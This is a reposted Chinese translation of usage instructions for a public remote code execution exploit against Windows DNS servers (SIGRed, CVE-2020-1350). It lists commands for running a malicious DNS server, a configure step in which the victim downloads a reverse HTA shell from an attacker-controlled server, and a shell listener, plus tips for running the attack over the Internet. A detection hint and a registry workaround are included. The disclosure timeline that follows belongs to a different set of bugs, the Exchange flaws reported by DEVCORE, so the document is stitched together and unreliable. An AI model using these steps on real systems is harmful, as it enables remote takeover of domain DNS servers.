创建人:chompie
仅用于研究目的。使用风险自负。
利用写作
有关使用的方法的详细信息在这里:
https://www.graplsecurity.com/post/anatomy-of-an-exploit-rce-with-cve-2020-1350-sigred
环境设定
实验室环境:设置转发器
出于演示/测试目的,只需在受害者计算机上设置条件转发器即可将“恶意域”请求转发到攻击者计算机。
Tool-> DNS
注册自定义名称服务器
如果您没有设置转发器,即实际上将攻击者的计算机注册为您的域的自定义名称服务器,并通过真实的Internet运行它,请注意... 我真的不建议您这样做,如果您做一些愚蠢的事情也不承担任何责任。
假设您的域名服务器注册为ns1,则配置此漏洞利用。[yourevildomain]
您需要进行以下调整才能通过真实的Internet进行这项工作:
注释掉行:
os.system('systemctl stop systemd-resolved')
在
evildns.py
请按照以下说明修复DNS配置:
https://www.linuxuprising.com/2020/07/ubuntu-how-to-free-up-port-53-used-by.html
这样一来,您可以侦听端口53并仍然配置DNS服务器。
配置攻击者机器
在Linux攻击者机器上:(我使用了基本的Ubuntu 20.04.1 VM)
sudo python3 configure.py -ip IP_ATTACKER -p PORT_REVERSE_SHELL -hp PORT_APACHE_SERVER (default 80)
这会将受害者配置为下载反向HTA Shell的Apache服务器。
运行漏洞利用
sudo python3 evildns.py
需要sudo侦听UDP和TCP端口53
然后运行:
python3 exploit.py -ip WINDNS_VICTIM_IP -d EVIL_DOMAIN
设置反向shell的侦听器:
python3 reverse_shell/server.py -p PORT_REVERSE_SHELL
HTA shell是以下版本的修改版本:
https : //github.com/freshness79/HTA-Shell
请注意,当有传入连接时,shell不会通知您,因此您将不得不尝试键入命令。
支持的版本
已在Windows Server 2019、2016、2012R2和2012(x64版本)上进行测试。偏移量的某些版本dns.exe和msvcrt.dll位于offsets.py。此列表不完整。如果要测试的版本找不到偏移量,则可以在此处添加映射。
dns.exe偏移映射:(对于偏移的12位最后dns!RR_Free,dns!`string`):(偏移dns!RR_Free,dns!NsecDnsRecordConvert,dns!_imp_exit) msvcrt.dll偏移映射:(用于抵消最后12个比特msvcrt!exit):(偏移msvcrt!exit,偏移量msvcrt!system)
注意:如果发生偏移冲突,则必须选择要选择的一组偏移。DNS服务将在大约5分钟后重新启动,直到崩溃后最多两次。evildns.py每次尝试后必须重新启动。该漏洞利用程序是稳定的,因此成功进行“盲目”漏洞利用的机会很高。
检测漏洞利用和解决方法
此PoC包含用于检测对SigRed的利用的Grapl规则。要为您首选的SIEM实施规则,请查找dns.exe的无效子进程。
如果无法修补,则可以使用变通办法修补程序:
reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesDNSParameters" /v "TcpReceivePacketSize" /t REG_DWORD /d 0xFF00 /f
net stop DNS && net start DNS
漏洞披露时间表
-
2020年10月1日 DEVCORE开始审查Microsoft Exchange Server上的安全性
-
2020年12月10日 DEVCORE发现了第一个预身份验证代理错误(CVE-2021-26855)
-
2020年12月27日 DEVCORE将第一个错误升级为身份验证绕过身份,成为管理员
-
2020年12月30日 DEVCORE发现了第二个验证后任意文件写入错误(CVE-2021-27065)
-
2020年12月31日 DEVCORE将所有错误链接到一个可行的预认证RCE利用中
-
2021年1月5日 DEVCORE通过MSRC门户直接向Microsoft发送了咨询和漏洞利用(格林尼治标准时间18:41 +8)
-
2021年1月6日 MSRC确认了预身份验证代理错误(MSRC案例62899)
-
2021年1月6日 MSRC确认了验证后任意文件写入错误(MSRC案例63835)
-
2021年1月8日 MSRC确认了举报行为
-
2021年1月11日 DEVCORE将MSRC的公开披露截止日期定为120天,并检查是否存在bug冲突
-
2021年1月12日 MSRC标记了预期的截止日期,并确认当时没有冲突
-
2021年2月2日 DEVCORE检查更新
-
2021年2月2日 MSRC回答说:“他们将各个方面分开进行审查,并至少获得了一个应在我们的截止日期前解决的方法”
-
2021年2月12日 MSRC询问标题标题以致谢,以及我们是否将发布博客
-
2021年2月13日 DEVCORE已确认发布博客,并表示将技术细节推迟两周,并将发布一个易于理解的建议(不包含技术细节)
-
2021年2月18日 DEVCORE向MSRC提供了咨询草案,并要求提供补丁程序日期
-
2021年2月18日 MSRC在我们的草案中指出了一个小错误,并确认补丁发布日期为3/9
-
2021年2月27日 MSRC表示,他们即将发布,并想问一下我们在其咨询中被提及是否满意
-
2021年2月28日 DEVCORE同意在其咨询中提及
-
2021年3月3日 MSRC表示,他们可能会比预期更早推出博客,并且没有时间
-
对博客进行概述
-
-
2021年3月3日 MSRC发布了补丁和公告,并正式承认DEVCORE
-
2021年3月3日 在获悉Volexity的积极开采咨询后,DEVCORE已启动了初步
-
调查
-
-
2021年3月4日 DEVCORE已确认该野外攻击与向MSRC报告的相同
-
2021年3月5日 迄今为止,DEVCORE尚未在调查中引起关注
参考:
https://github.com/chompie1337/SIGRed_RCE_PoC
https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin-exploiting-a-17-year-old-bug-in-windows-dns-servers/
https://github.com/chompie1337/SIGRed_RCE_PoC
https://datafarm-cybersecurity.medium.com/exploiting-sigred-cve-2020-1350-on-windows-server-2012-2016-2019-80dd88594228
本文始发于微信公众号(Ots安全):适用于CVE-2020-1350 SigRed的PoC远程代码执行漏洞利用。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论